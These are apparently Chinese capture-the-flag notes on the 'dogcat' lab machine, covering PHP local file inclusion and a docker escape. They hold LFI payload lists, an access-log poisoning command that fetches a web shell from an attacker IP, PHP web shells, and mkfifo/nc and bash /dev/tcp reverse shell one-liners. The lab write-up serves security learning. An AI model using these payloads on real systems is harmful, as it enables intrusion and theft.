【靶机】dogcat

简介: dogcat简介:I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.整体有一定难度,不过你将学习到很多。

dogcat
I made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.

讲解视频https://www.bilibili.com/video/BV1WN4y1w784/

<a href=index.php?page=file1.php> Files </a>
<? Php
$ page = $ _GET [page];
include ($ page);
?>

 

一般的payload

http: //localhost/index.php? page = .. / .. / .. / .. / .. / .. / etc / passwd

passthru()
http://localhost/index.php?page = http://host.com/test.php
http://localhost/index.php?page = http://host.com/test.php? cmd = cat / etc /passwd

http://example.com/index.php?page=etc/passwd
http://example.com/index.php?page=etc/passwd%00
http://example.com/index.php?page=../../etc/passwd
http://example.com/index.php?page=%252e%252e%252f
http://example.com/index.php?page=....//....//etc/passwd


http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
 
Can be chained with a compression wrapper.
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

cat/../../../../../../../var/log/apache2/access.log&ext
<?php%20eval($_POST[1]);?>
10.10.175.83
curl -A “<?php file_put_contents('shell.php',file_get_contents('http://10.10.0.56:9999/shell.php')>” -s http://10.10.175.83

<?php system($_GET['cmd']); ?>
curl -A “<?php file_put_contents('shell.php',file_get_contents('http://10.10.0.56:9999/shell.php')>” -s 10.10.173.156

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.0.56 4242 >/tmp/f

 

 

 

 

 

 

<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
        $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>

 

      <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
        $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';

//类似于Java的三元运算符   条件一?条件二:条件三
//如果条件“expr1”成立,则执行语句“expr2”,否则执行“expr3”。
//检查是否提供了“ext”参数,如果没有,它默认将“.php”添加到我们的文件名

            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>

 

payload = cat/../../../../../../../var/log/apache2/access.log&ext

bash -i >& /dev/tcp/10.10.100.225/9898 0>&1
目录
相关文章
|
8天前
|
XML 存储 安全
w1r3s 靶机学习
w1r3s 靶机学习
|
5月前
|
安全 Shell
vulnhub靶场—matrix-breakout-2-morpheus靶机
vulnhub靶场—matrix-breakout-2-morpheus靶机
73 2
|
7月前
|
存储 SQL 安全
VulnHub靶机DC3渗透笔记
Vulnhub靶机介绍: vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战 从靶机DC-3开始,只有一个最终的flag,只有拿到root权限才可以发现最终的flag。 Vulnhub靶机下载: 官网地址:http://www.five86.com/downloads/DC-3-2.zip
99 1
VulnHub靶机DC3渗透笔记
|
7月前
|
存储 网络协议 Shell
VulnHub靶机DC2渗透测试笔记
靶机下载地址: https://download.vulnhub.com/dc/DC-2.zip 靶机难度:入门 靶机描述:和DC-1 一样,有五个标志,包括最终标志。
46 0
VulnHub靶机DC2渗透测试笔记
|
7月前
|
安全 Shell 数据库
Vulnhub靶机DC-1渗透笔记
关于Vulnhub Vulnhub是一个特别好的渗透测试实战网站,提供了许多带有漏洞的渗透测试虚拟机下载。 新手入门DC-1: 下载地址: https://www.vulnhub.com/entry/dc-1-1,292/
73 2
Vulnhub靶机DC-1渗透笔记
|
安全 Shell Linux
vulnhub靶机系列之zico2
vulnhub靶机系列之zico2
|
12月前
|
安全 Windows
msfvenom生成木马之控制靶机
msfvenom生成木马之控制靶机
200 0
|
SQL 安全 Shell
FristiLeaks v1.3靶机渗透
FristiLeaks v1.3靶机渗透
|
安全 Ubuntu 关系型数据库
Metasploit -- 攻击Metasploitable2靶机
Metasploit -- 攻击Metasploitable2靶机
358 0
Metasploit -- 攻击Metasploitable2靶机
|
安全 Shell 网络安全
Vulnhub-Gigachad靶机复现(二)
Vulnhub-Gigachad靶机复现
104 0
Vulnhub-Gigachad靶机复现(二)

热门文章

最新文章